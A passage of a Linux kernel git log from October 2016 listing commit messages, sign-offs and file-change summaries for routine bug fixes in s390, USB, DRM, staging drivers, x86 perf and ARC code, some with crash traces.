1 file changed, 4 insertions(+), 4 deletions(-) commit d0208639dbc6fe97a25054df44faa2d19aca9380 Author: Heiko Carstens Date: Mon Oct 17 11:08:31 2016 +0200 s390/dumpstack: restore reliable indicator for call traces Before merging all different stack tracers the call traces printed had an indicator if an entry can be considered reliable or not. Unreliable entries were put in braces, reliable not. Currently all lines contain these extra braces. This patch restores the old behaviour by adding an extra "reliable" parameter to the callback functions. Only show_trace makes currently use of it. Before: [ 0.804751] Call Trace: [ 0.804753] ([<000000000017d0e0>] try_to_wake_up+0x318/0x5e0) [ 0.804756] ([<0000000000161d64>] create_worker+0x174/0x1c0) After: [ 0.804751] Call Trace: [ 0.804753] ([<000000000017d0e0>] try_to_wake_up+0x318/0x5e0) [ 0.804756] [<0000000000161d64>] create_worker+0x174/0x1c0 Fixes: 758d39ebd3d5 ("s390/dumpstack: merge all four stack tracers") Signed-off-by: Heiko Carstens Signed-off-by: Martin Schwidefsky arch/s390/include/asm/processor.h | 2 +- arch/s390/kernel/dumpstack.c | 17 +++++++++++------ arch/s390/kernel/perf_event.c | 2 +- arch/s390/kernel/stacktrace.c | 4 ++-- arch/s390/oprofile/init.c | 2 +- 5 files changed, 16 insertions(+), 11 deletions(-) commit d0679cfaf54c9e42e3ba4f8d5e67969932040d16 Author: Hoan Tran Date: Fri Oct 14 16:20:21 2016 -0700 mailbox: PCC: Fix return value of pcc_mbox_request_channel() When CONFIG_PCC is disabled, pcc_mbox_request_channel() needs to return ERR_PTR(-ENODEV), not a NULL pointer, as the callers of this function use IS_ERR() to check for error code. Signed-off-by: Duc Dang Signed-off-by: Hoan Tran Signed-off-by: Rafael J. Wysocki include/acpi/pcc.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9c0e83c371cf4696926c95f9c8c77cd6ea803426 Author: Ard Biesheuvel Date: Thu Oct 13 17:42:09 2016 +0100 arm64: kaslr: fix breakage with CONFIG_MODVERSIONS=y As it turns out, the KASLR code breaks CONFIG_MODVERSIONS, since the kcrctab has an absolute address field that is relocated at runtime when the kernel offset is randomized. This has been fixed already for PowerPC in the past, so simply wire up the existing code dealing with this issue. Cc: Fixes: f80fb3a3d508 ("arm64: add support for kernel ASLR") Tested-by: Timur Tabi Signed-off-by: Ard Biesheuvel Signed-off-by: Will Deacon arch/arm64/include/asm/module.h | 5 +++++ 1 file changed, 5 insertions(+) commit 589ce5f447b8610df0dbd6935b56d5cda17b9cec Author: Marc Zyngier Date: Fri Oct 14 15:13:07 2016 +0100 irqchip/gic-v3-its: Fix 64bit GIC{R,ITS}_TYPER accesses The GICv3 architecture specification mentions that a 64bit register can be accessed using two 32bit accesses. What it doesn't mention is that this is only guaranteed on a system that implements AArch32, and a pure AArch64 system is allowed not to support this. This causes issues with the GICR_TYPER and GITS_TYPER registers, which are both RO 64bit registers. In order to solve this, this patch switches the TYPER accesses to the gic_read_typer macro already used in other parts of the driver. This makes sure that we always use a 64bit access on 64bit systems, and two 32bit accesses on 32bit system. Signed-off-by: Marc Zyngier drivers/irqchip/irq-gic-v3-its.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 54e23845e965898f65f76aba79fa9db76d830fa9 Author: Tobias Klauser Date: Mon Oct 17 11:47:02 2016 +0200 alarmtimer: Remove unused but set variable Remove the set but unused variable base in alarm_clock_get to fix the following warning when building with 'W=1': kernel/time/alarmtimer.c: In function ‘alarm_timer_create’: kernel/time/alarmtimer.c:545:21: warning: variable ‘base’ set but not used [-Wunused-but-set-variable] Signed-off-by: Tobias Klauser Cc: John Stultz Link: http://lkml.kernel.org/r/20161017094702.10873-1-tklauser@distanz.ch Signed-off-by: Thomas Gleixner kernel/time/alarmtimer.c | 2 -- 1 file changed, 2 deletions(-) commit a19b882c07a63174f09d1f7c036cc2aab7f04ad3 Author: Andy Lutomirski Date: Thu Oct 6 10:25:38 2016 -0700 wusb: Stop using the stack for sg crypto scratch space Pointing an sg list at the stack is verboten and, with CONFIG_VMAP_STACK=y, will malfunction. Use kmalloc for the wusb crypto stack space instead. Untested -- I'm not entirely convinced that this hardware exists in the wild. Signed-off-by: Andy Lutomirski Signed-off-by: Greg Kroah-Hartman drivers/usb/wusbcore/crypto.c | 59 +++++++++++++++++++++++++++---------------- 1 file changed, 37 insertions(+), 22 deletions(-) commit 51fbc7c06c8900370c6da5fc4a4685add8fa4fb0 Author: Christophe JAILLET Date: Fri Oct 7 22:12:39 2016 +0200 usb: dwc3: Fix size used in dma_free_coherent() In commit 2abd9d5fa60f9 ("usb: dwc3: ep0: Add chained TRB support"), the size of the memory allocated with 'dma_alloc_coherent()' has been modified but the corresponding calls to 'dma_free_coherent()' have not been updated accordingly. This has been spotted with coccinelle, using the following script: //////////////////// @r@ expression x0, x1, y0, y1, z0, z1, t0, t1, ret; @@ * ret = dma_alloc_coherent(x0, y0, z0, t0); ... * dma_free_coherent(x1, y1, ret, t1); @script:python@ y0 << r.y0; y1 << r.y1; @@ if y1.find(y0) == -1: print "WARNING: sizes look different: '%s' vs '%s'" % (y0, y1) //////////////////// Fixes: 2abd9d5fa60f9 ("usb: dwc3: ep0: Add chained TRB support") Signed-off-by: Christophe JAILLET Signed-off-by: Felipe Balbi drivers/usb/dwc3/gadget.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit a9e6f83c2df199187a5248f824f31b6787ae23ae Author: Michal Nazarewicz Date: Tue Oct 4 02:07:34 2016 +0200 usb: gadget: f_fs: stop sleeping in ffs_func_eps_disable ffs_func_eps_disable is called from atomic context so it cannot sleep thus cannot grab a mutex. Change the handling of epfile->read_buffer to use non-sleeping synchronisation method. Reported-by: Chen Yu Signed-off-by: Michał Nazarewicz Fixes: 9353afbbfa7b ("buffer data from ‘oversized’ OUT requests") Tested-by: John Stultz Tested-by: Chen Yu Signed-off-by: Felipe Balbi drivers/usb/gadget/function/f_fs.c | 109 +++++++++++++++++++++++++++++++------ 1 file changed, 93 insertions(+), 16 deletions(-) commit 454915dde06a51133750c6745f0ba57361ba209d Author: Michal Nazarewicz Date: Tue Oct 4 02:07:33 2016 +0200 usb: gadget: f_fs: edit epfile->ep under lock epfile->ep is protected by ffs->eps_lock (not epfile->mutex) so clear it while holding the spin lock. Tested-by: John Stultz Tested-by: Chen Yu Signed-off-by: Michal Nazarewicz Signed-off-by: Felipe Balbi drivers/usb/gadget/function/f_fs.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit a07ce8d34eb3d9c6cec3aa25f7713e6aafad2260 Author: Heiko Stuebner Date: Fri Oct 14 10:47:24 2016 -0700 usb: dwc2: Add msleep for host-only Although a host-only controller should not have any associated delay, some rockchip SOC platforms will not show the correct host-values of registers until after a delay. So add a 50 ms sleep when in host-only mode. Signed-off-by: John Youn Signed-off-by: Heiko Stuebner Signed-off-by: Felipe Balbi drivers/usb/dwc2/core.c | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) commit b5003b5f0a19b6b37ab32b1f0c6b5da2cb3f0903 Author: Shyam Saini Date: Thu Oct 13 21:50:07 2016 +0530 s390/mm: use hugetlb_bad_size() Update setup_hugepagesz() to call hugetlb_bad_size() when unsupported hugepage size is found. Signed-off-by: Shyam Saini Signed-off-by: Heiko Carstens Signed-off-by: Martin Schwidefsky arch/s390/mm/hugetlbpage.c | 1 + 1 file changed, 1 insertion(+) commit 179a98cba11b057d9f1cc70cd2a8831f9e9a06e6 Author: Sebastian Ott Date: Wed Oct 12 11:14:31 2016 +0200 s390/cio: don't register chpids in reserved state During IPL we register all chpids that are not in the unrecognized state. This includes chpids that are not usable and chpids for which the state could not be obtained. Change that to only register chpids in the configured (usable) or standby (usable after a configure operation) state. All other chpids could only be made available by external control for which we would receive machine checks. Signed-off-by: Sebastian Ott Reviewed-by: Peter Oberparleiter Signed-off-by: Martin Schwidefsky drivers/s390/cio/chp.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 12e721964e7feb555c3ee499a3f85c194d3d36ea Author: Heiko Carstens Date: Wed Oct 12 13:43:38 2016 +0200 s390: ignore pkey system calls Ignore the pkey systems calls since they don't make any sense on s390. In addition any user could trigger a warning if issueing the pkey_free system call, if it would be wired up on a system without pkey support. Signed-off-by: Heiko Carstens Signed-off-by: Martin Schwidefsky arch/s390/include/asm/unistd.h | 3 +++ 1 file changed, 3 insertions(+) commit 0f02c4e749bc79975dd23ddcc9bfe38bf76afb67 Author: Christian Borntraeger Date: Fri Sep 9 16:28:43 2016 +0200 s390/dasd: avoid undefined behaviour the mdc value can be quite big (like 65535), so we are in undefined territory when doing the multiplication with the (also signed) FCX_MAX_DATA_FACTOR as outlined by UBSAN: UBSAN: Undefined behaviour in drivers/s390/block/dasd_eckd.c:1678:14 signed integer overflow: 65535 * 65536 cannot be represented in type 'int' CPU: 5 PID: 183 Comm: kworker/u512:1 Not tainted 4.7.0+ #150 Workqueue: events_unbound async_run_entry_fn 000000fb8b59f900 000000fb8b59f990 0000000000000002 0000000000000000 000000fb8b59fa30 000000fb8b59f9a8 000000fb8b59f9a8 000000000011732e 00000000000000a4 0000000000a309e2 0000000000a4c072 000000000000000b 000000fb8b59f9f0 000000fb8b59f990 0000000000000000 0000000000000000 0400000000d83238 000000000011732e 000000fb8b59f990 000000fb8b59f9f0 Call Trace: ([<0000000000117260>] show_trace+0x98/0xa8) ([<00000000001172e0>] show_stack+0x70/0xf0) ([<000000000053ac96>] dump_stack+0x86/0xb8) ([<000000000057f5f8>] ubsan_epilogue+0x28/0x70) ([<000000000057fe9e>] handle_overflow+0xde/0xf0) ([<00000000006c322a>] dasd_eckd_check_characteristics+0x50a/0x550) ([<00000000006b42ca>] dasd_generic_set_online+0xba/0x380) ([<0000000000693d82>] ccw_device_set_online+0x192/0x550) ([<00000000006ac1ae>] dasd_generic_auto_online+0x2e/0x70) ([<0000000000172130>] async_run_entry_fn+0x70/0x270) ([<0000000000165a72>] process_one_work+0x26a/0x638) ([<0000000000165e8a>] worker_thread+0x4a/0x658) ([<000000000016dd9c>] kthread+0x10c/0x110) ([<00000000008963ae>] kernel_thread_starter+0x6/0xc) ([<00000000008963a8>] kernel_thread_starter+0x0/0xc) As this is a runtime value there is actually no risk of any sane compiler to detect and (ab)use this undefinedness, but let's make the multiplication defined by making mdc unsigned. Signed-off-by: Christian Borntraeger Acked-by: Stefan Haberland Signed-off-by: Martin Schwidefsky drivers/s390/block/dasd_eckd.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 0e60439c22ec551e9b5780eba73ddfeb63ab63d9 Merge: ba2f815 f573bbc Author: Ingo Molnar Date: Sun Oct 16 18:17:05 2016 +0200 Merge branch 'mm/pkeys' into x86/urgent, to pick up pkeys fix Signed-off-by: Ingo Molnar commit ba2f81575eba8dcf128354169c20ae23f810f652 Author: Piotr Luc Date: Wed Oct 12 20:27:58 2016 +0200 perf/x86/intel/uncore: Add Knights Mill CPUID Add Knights Mill (KNM) to the list of CPUIDs supported by PMU. Signed-off-by: Piotr Luc Reviewed-by: Dave Hansen Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20161012182758.2925-1-piotr.luc@intel.com Signed-off-by: Ingo Molnar arch/x86/events/intel/uncore.c | 1 + 1 file changed, 1 insertion(+) commit 36c4b6c14d20b37fda79cbcd3e8ef7d11f5ef9dc Author: Piotr Luc Date: Wed Oct 12 20:27:25 2016 +0200 perf/x86/intel/rapl: Add Knights Mill CPUID Add Knights Mill (KNM) to the list of CPUIDs supported by rapl. Signed-off-by: Piotr Luc Reviewed-by: Dave Hansen Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20161012182725.2701-1-piotr.luc@intel.com Signed-off-by: Ingo Molnar arch/x86/events/intel/rapl.c | 1 + 1 file changed, 1 insertion(+) commit 608284bf0def3ca5e6936920fcd84294101ef12d Author: Piotr Luc Date: Wed Oct 12 20:26:34 2016 +0200 perf/x86/intel: Add Knights Mill CPUID Add Knights Mill (KNM) to the list of CPUIDs supported by PMU. Signed-off-by: Piotr Luc Reviewed-by: Dave Hansen Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20161012182634.2462-1-piotr.luc@intel.com Signed-off-by: Ingo Molnar arch/x86/events/intel/core.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 0047f59834e5947d45f34f5f12eb330d158f700b Author: Piotr Luc Date: Wed Oct 12 20:05:20 2016 +0200 x86/cpu/intel: Add Knights Mill to Intel family Add CPUID of Knights Mill (KNM) processor to Intel family list. Signed-off-by: Piotr Luc Reviewed-by: Dave Hansen Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20161012180520.30976-1-piotr.luc@intel.com Signed-off-by: Ingo Molnar arch/x86/include/asm/intel-family.h | 1 + 1 file changed, 1 insertion(+) commit d889c23ce4e3159e3d737f55f9d686a030a7ba87 Author: Felipe Balbi Date: Thu Sep 29 15:44:29 2016 +0300 usb: dwc3: gadget: never pre-start Isochronous endpoints We cannot pre-start isochronous endpoints because we rely on the micro-frame number passed via XferNotReady command for proper Isochronous scheduling. Fixes: 08a36b543803 ("usb: dwc3: gadget: simplify __dwc3_gadget_ep_queue()") Signed-off-by: Felipe Balbi drivers/usb/dwc3/gadget.c | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) commit a9c3ca5fae6bf73770f0576eaf57d5f1305ef4b3 Author: Felipe Balbi Date: Wed Oct 5 14:24:37 2016 +0300 usb: dwc3: gadget: properly account queued requests Some requests could be accounted for multiple times. Let's fix that so each and every requests is accounted for only once. Cc: # v4.8 Fixes: 55a0237f8f47 ("usb: dwc3: gadget: use allocated/queued reqs for LST bit") Signed-off-by: Felipe Balbi drivers/usb/dwc3/gadget.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit 6c83f77278f17a7679001027e9231291c20f0d8a Author: Felipe Balbi Date: Tue Oct 4 15:14:43 2016 +0300 usb: gadget: function: u_ether: don't starve tx request queue If we don't guarantee that we will always get an interrupt at least when we're queueing our very last request, we could fall into situation where we queue every request with 'no_interrupt' set. This will cause the link to get stuck. The behavior above has been triggered with g_ether and dwc3. Cc: Reported-by: Ville Syrjälä Signed-off-by: Felipe Balbi drivers/usb/gadget/function/u_ether.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit bbe097f092b0d13e9736bd2794d0ab24547d0e5d Author: Alexandre Belloni Date: Thu Sep 15 17:07:22 2016 +0200 usb: gadget: udc: atmel: fix endpoint name Since commit c32b5bcfa3c4 ("ARM: dts: at91: Fix USB endpoint nodes"), atmel_usba_udc fails with: ------------[ cut here ]------------ WARNING: CPU: 0 PID: 0 at include/linux/usb/gadget.h:405 ecm_do_notify+0x188/0x1a0 Modules linked in: CPU: 0 PID: 0 Comm: swapper Not tainted 4.7.0+ #15 Hardware name: Atmel SAMA5 [] (unwind_backtrace) from [] (show_stack+0x10/0x14) [] (show_stack) from [] (__warn+0xe4/0xfc) [] (__warn) from [] (warn_slowpath_null+0x20/0x28) [] (warn_slowpath_null) from [] (ecm_do_notify+0x188/0x1a0) [] (ecm_do_notify) from [] (ecm_set_alt+0x74/0x1ac) [] (ecm_set_alt) from [] (composite_setup+0xfc0/0x19f8) [] (composite_setup) from [] (usba_udc_irq+0x8f4/0xd9c) [] (usba_udc_irq) from [] (handle_irq_event_percpu+0x9c/0x158) [] (handle_irq_event_percpu) from [] (handle_irq_event+0x28/0x3c) [] (handle_irq_event) from [] (handle_fasteoi_irq+0xa0/0x168) [] (handle_fasteoi_irq) from [] (generic_handle_irq+0x24/0x34) [] (generic_handle_irq) from [] (__handle_domain_irq+0x54/0xa8) [] (__handle_domain_irq) from [] (__irq_svc+0x54/0x70) [] (__irq_svc) from [] (arch_cpu_idle+0x38/0x3c) [] (arch_cpu_idle) from [] (cpu_startup_entry+0x9c/0xdc) [] (cpu_startup_entry) from [] (start_kernel+0x354/0x360) [] (start_kernel) from [<20008078>] (0x20008078) ---[ end trace e7cf9dcebf4815a6 ]--- Fixes: c32b5bcfa3c4 ("ARM: dts: at91: Fix USB endpoint nodes") Cc: Reported-by: Richard Genoud Acked-by: Nicolas Ferre Signed-off-by: Alexandre Belloni Signed-off-by: Felipe Balbi drivers/usb/gadget/udc/atmel_usba_udc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c89d98e224b4858f42a9fec0f16766b3d7669ba3 Author: Oleg Drokin Date: Sun Oct 16 13:16:50 2016 -0400 staging/lustre/llite: Move unstable_stats from sysfs to debugfs It's multiple values per file, so it has no business being in sysfs, besides it was assuming seqfile anyway. Fixes: d806f30e639b ("staging: lustre: osc: revise unstable pages accounting") Signed-off-by: Oleg Drokin Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/lproc_llite.c | 34 +++++++++++------------ 1 file changed, 17 insertions(+), 17 deletions(-) commit 1d4f1d53e1e2d5e38f4d3ca3bf60f8be5025540f Author: Aditya Shankar Date: Fri Oct 7 09:45:03 2016 +0530 Staging: wilc1000: Fix kernel Oops on opening the device Commit 2518ac59eb27 ("staging: wilc1000: Replace kthread with workqueue for host interface") adds an unconditional destroy_workqueue() on the wilc's "hif_workqueue" soon after its creation thereby rendering it unusable. It then further attempts to queue work onto this non-existing hif_worqueue and results in: Unable to handle kernel NULL pointer dereference at virtual address 00000010 pgd = de478000 [00000010] *pgd=3eec0831, *pte=00000000, *ppte=00000000 Internal error: Oops: 17 [#1] ARM Modules linked in: wilc1000_sdio(C) wilc1000(C) CPU: 0 PID: 825 Comm: ifconfig Tainted: G C 4.8.0-rc8+ #37 Hardware name: Atmel SAMA5 task: df56f800 task.stack: deeb0000 PC is at __queue_work+0x90/0x284 LR is at __queue_work+0x58/0x284 pc : [] lr : [] psr: 600f0093 sp : deeb1aa0 ip : def22d78 fp : deea6000 r10: 00000000 r9 : c0a08150 r8 : c0a2f058 r7 : 00000001 r6 : dee9b600 r5 : def22d74 r4 : 00000000 r3 : 00000000 r2 : def22d74 r1 : 07ffffff r0 : 00000000 Flags: nZCv IRQs off FIQs on Mode SVC_32 ISA ARM Segment none ... [] (__queue_work) from [] (queue_work_on+0x34/0x40) [] (queue_work_on) from [] (wilc_enqueue_cmd+0x54/0x64 [wilc1000]) [] (wilc_enqueue_cmd [wilc1000]) from [] (wilc_set_wfi_drv_handler+0x48/0x70 [wilc1000]) [] (wilc_set_wfi_drv_handler [wilc1000]) from [] (wilc_mac_open+0x214/0x250 [wilc1000]) [] (wilc_mac_open [wilc1000]) from [] (__dev_open+0xb8/0x11c) [] (__dev_open) from [] (__dev_change_flags+0x94/0x158) [] (__dev_change_flags) from [] (dev_change_flags+0x18/0x48) [] (dev_change_flags) from [] (devinet_ioctl+0x6b4/0x788) [] (devinet_ioctl) from [] (sock_ioctl+0x154/0x2cc) [] (sock_ioctl) from [] (do_vfs_ioctl+0x9c/0x878) [] (do_vfs_ioctl) from [] (SyS_ioctl+0x34/0x5c) [] (SyS_ioctl) from [] (ret_fast_syscall+0x0/0x3c) Code: e5932004 e1520006 01a04003 0affffff (e5943010) ---[ end trace b612328adaa6bf20 ]--- This fix removes the unnecessary call to destroy_workqueue() while opening the device to avoid the above kernel panic. The deinit routine already does a good job of terminating the workqueue when no longer needed. Reported-by: Nicolas Ferre Fixes: 2518ac59eb27 ("staging: wilc1000: Replace kthread with workqueue for host interface") Cc: stable@vger.kernel.org # 4.8+ Signed-off-by: Aditya Shankar Signed-off-by: Greg Kroah-Hartman drivers/staging/wilc1000/host_interface.c | 1 - 1 file changed, 1 deletion(-) commit 0047b6e5f1b45b391244d78097631eb09a960202 Author: Dan Carpenter Date: Wed Oct 12 09:20:22 2016 +0300 staging: android/ion: testing the wrong variable We're testing "pdev" but we intended to test "heap_pdev". This is a static checker fix and it's unlikely that anyone is affected by this bug. Fixes: 13439479c7de ('staging: ion: Add files for parsing the devicetree') Signed-off-by: Dan Carpenter Acked-by: Laura Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/ion_of.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4fa589126f23243bd998a464cb6158d343eb6a89 Author: Viresh Kumar Date: Wed Oct 12 08:02:22 2016 +0530 Staging: greybus: uart: Use gbphy_dev->dev instead of bundle->dev Some of the print messages are using the incorrect device pointer, fix them. Signed-off-by: Viresh Kumar Acked-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 039bea844016ae85eaf195bf25266b5eb028a319 Author: Viresh Kumar Date: Wed Oct 12 08:02:21 2016 +0530 Staging: greybus: gpio: Use gbphy_dev->dev instead of bundle->dev Some of the print messages are using the incorrect device pointer, fix them. Signed-off-by: Viresh Kumar Acked-by: Johan Hovold Reviewed-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 4ad3e92c28057950c30ca19e32530eff9ee111bb Author: Wei Yongjun Date: Wed Sep 21 15:12:24 2016 +0000 gpu: ipu-v3: Use ERR_CAST instead of ERR_PTR(PTR_ERR()) Use ERR_CAST inlined function instead of ERR_PTR(PTR_ERR(...)). Generated by: scripts/coccinelle/api/err_cast.cocci Signed-off-by: Wei Yongjun Signed-off-by: Philipp Zabel drivers/gpu/ipu-v3/ipu-image-convert.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3e3affe549ebd228501d160886c1b3999d99e0c6 Author: Arnd Bergmann Date: Thu Sep 22 11:50:52 2016 +0200 drm/imx: hide an unused label The imx_drm_bind function causes a warning in linux-next when CONFIG_DRM_FBDEV_EMULATION is not set: drivers/gpu/drm/imx/imx-drm-core.c: In function 'imx_drm_bind': drivers/gpu/drm/imx/imx-drm-core.c:441:1: error: label 'err_unbind' defined but not used [-Werror=unused-label] I don't understand why the warning only showed up now, as the code has not been modified recently, but there is an obvious fix in adding another #if for the symbol. Signed-off-by: Arnd Bergmann Fixes: c1ff5a7aa3c3 ("drm/imx: Remove local fbdev emulation Kconfig option") Signed-off-by: Philipp Zabel drivers/gpu/drm/imx/imx-drm-core.c | 2 ++ 1 file changed, 2 insertions(+) commit fa860a1751e388385a7f249dd3f24a6c76db0ba9 Author: Daniel Vetter Date: Thu Oct 13 16:13:44 2016 +0200 drm: Print device information again in debugfs I was a bit over-eager in my cleanup in commit 95c081c17f284de50eaca60d4d55643a64d39019 Author: Daniel Vetter Date: Tue Jun 21 10:54:12 2016 +0200 drm: Move master pointer from drm_minor to drm_device Noticed by Chris Wilson. Fixes: 95c081c17f28 ("drm: Move master pointer from drm_minor to drm_device") Cc: Chris Wilson Cc: Chris Wilson Cc: Daniel Vetter Cc: Emil Velikov Cc: Julia Lawall Signed-off-by: Daniel Vetter Reviewed-by: Alex Deucher Tested-by: Chris Wilson Reviewed-by: Emil Velikov Signed-off-by: Dave Airlie drivers/gpu/drm/drm_info.c | 4 ---- 1 file changed, 4 deletions(-) commit bc91657e67d4251619e5d82153f8b02bdd8ea5d4 Merge: 69405d3 f28a9b6 Author: Dave Airlie Date: Mon Oct 17 09:31:52 2016 +1000 Merge branch 'drm-next-4.9' of git://people.freedesktop.org/~agd5f/linux into drm-next Fixes for radeon and amdgpu for 4.9: - allow an additional reg in the SI reg checker - fix thermal sensor readback on CZ/ST - misc bug fixes * 'drm-next-4.9' of git://people.freedesktop.org/~agd5f/linux: (21 commits) drm/amd/powerplay: fix bug stop dpm can't work on Vi. drm/amd/powerplay: notify smu no display by default. drm/amdgpu/dpm: implement thermal sensor for CZ/ST drm/amdgpu/powerplay: implement thermal sensor for CZ/ST drm/amdgpu: disable smu hw first on tear down drm/amdgpu: fix amdgpu_need_full_reset (v2) drm/amdgpu/si_dpm: Limit clocks on HD86xx part drm/amd/powerplay: fix static checker warnings in smu7_hwmgr.c drm/amdgpu: potential NULL dereference in debugfs code drm/amd/powerplay: fix static checker warnings in smu7_hwmgr.c drm/amd/powerplay: fix static checker warnings in iceland_smc.c drm/radeon: change vblank_time's calculation method to reduce computational error. drm/amdgpu: change vblank_time's calculation method to reduce computational error. drm/amdgpu: clarify UVD/VCE special handling for CG drm/amd/amdgpu: enable clockgating only after late init drm/radeon: allow TA_CS_BC_BASE_ADDR on SI drm/amdgpu: initialize the context reset_counter in amdgpu_ctx_init drm/amdgpu/gfx8: fix CGCG_CGLS handling drm/radeon: fix modeset tear down code drm/radeon: fix up dp aux tear down (v2) ... commit 27f3d2a3b59f573a398c9acc810c16ebca07be78 Author: Daniel Mentz Date: Tue Oct 4 16:34:27 2016 -0700 ARC: [build] Support gz, lzma compressed uImage Add support for lzma compressed uImage. Support for gzip was already available but could not be enabled because we were missing CONFIG_HAVE_KERNEL_GZIP in arch/arc/Kconfig. Signed-off-by: Daniel Mentz Cc: linux-snps-arc@lists.infradead.org Cc: Vineet Gupta Signed-off-by: Vineet Gupta arch/arc/Kconfig | 2 ++ arch/arc/boot/Makefile | 16 ++++++++++++++-- 2 files changed, 16 insertions(+), 2 deletions(-) commit 3ce0fefc51bd56381b1b9a92835cf8f9db3f2ef8 Author: Vineet Gupta Date: Thu Sep 29 10:00:14 2016 -0700 ARCv2: intc: untangle SMP, MCIP and IDU The IDU intc is technically part of MCIP (Multi-core IP) hence historically was only available in a SMP hardware build (and thus only in a SMP kernel build). Now that hardware restriction has been lifted, so a UP kernel needs to support it. This requires breaking mcip.c into parts which are strictly SMP (inter-core interrupts) and IDU which in reality is just another intc and thus has no bearing on SMP. This change allows IDU in UP builds and with a suitable device tree, we can have the cascaded intc system ARCv2 core intc <---> ARCv2 IDU intc <---> periperals Signed-off-by: Vineet Gupta arch/arc/Kconfig | 17 +++++++++-------- arch/arc/include/asm/mcip.h | 16 ++++++++++++++++ arch/arc/kernel/mcip.c | 31 +++++++++++-------------------- 3 files changed, 36 insertions(+), 28 deletions(-) commit ebbb7594000eb266cac2bbcfdd93d829c7b0063f Merge: 1001354 8a4236a Author: James Bottomley Date: Sun Oct 16 13:51:31 2016 -0700 Merge remote-tracking branch 'mkp-scsi/4.9/scsi-fixes' into fixes commit 0df03b43035afd0a64916fe4e5bca978562ffa5a Author: Maxime Ripard Date: Thu Sep 29 14:05:05 2016 +0200 drm/sun4i: rgb: Remove the bridge enable/disable functions The atomic helpers already call the drm_bridge_enable on our behalf, there's no need to do it a second time. Reported-by: Sean Paul Reviewed-by: Sean Paul Signed-off-by: Maxime Ripard drivers/gpu/drm/sun4i/sun4i_rgb.c | 6 ------ 1 file changed, 6 deletions(-) commit 5647b25c3335a25ba32d73e61850a374a708788a Author: Jonathan Liu Date: Mon Sep 26 20:21:45 2016 +1000 drm/sun4i: rgb: Enable panel after controller The panel should be enabled after the controller so that we do not have visual glitches on the panel while the controller is setup. Similarly, the panel should be disabled before the controller. Signed-off-by: Jonathan Liu Reviewed-by: Sean Paul Signed-off-by: Maxime Ripard drivers/gpu/drm/sun4i/sun4i_rgb.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 5c38181ce9c5182377e79271a3ed0a2d0e999c33 Author: Dan Carpenter Date: Fri Oct 14 10:29:08 2016 +0300 perf/x86/intel: Remove an inconsistent NULL check Smatch complains that we don't check "event->ctx" consistently. It's never NULL so we can just remove the check. Signed-off-by: Dan Carpenter Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: David Carrillo-Cisneros Cc: Jiri Olsa Cc: Kan Liang Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vince Weaver Cc: kernel-janitors@vger.kernel.org Cc: linux-kernel@vger.kernel.org Signed-off-by: Ingo Molnar arch/x86/events/intel/lbr.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 1d33369db25eb7f37b7a8bd22d736888b4501a9c Merge: 23446cb 1001354 Author: Ingo Molnar Date: Sun Oct 16 11:31:39 2016 +0200 Merge tag 'v4.9-rc1' into x86/urgent, to pick up updates Signed-off-by: Ingo Molnar commit 23446cb66c073b827779e5eb3dec301623299b32 Author: Dan Williams Date: Wed Oct 12 11:01:48 2016 -0700 x86/e820: Don't merge consecutive E820_PRAM ranges Commit: 917db484dc6a ("x86/boot: Fix kdump, cleanup aborted E820_PRAM max_pfn manipulation") ... fixed up the broken manipulations of max_pfn in the presence of E820_PRAM ranges. However, it also broke the sanitize_e820_map() support for not merging E820_PRAM ranges. Re-introduce the enabling to keep resource boundaries between consecutive defined ranges. Otherwise, for example, an environment that boots with memmap=2G!8G,2G!10G will end up with a single 4G /dev/pmem0 device instead of a /dev/pmem0 and /dev/pmem1 device 2G in size. Reported-by: Dave Chinner Signed-off-by: Dan Williams Cc: Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Jeff Moyer Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: 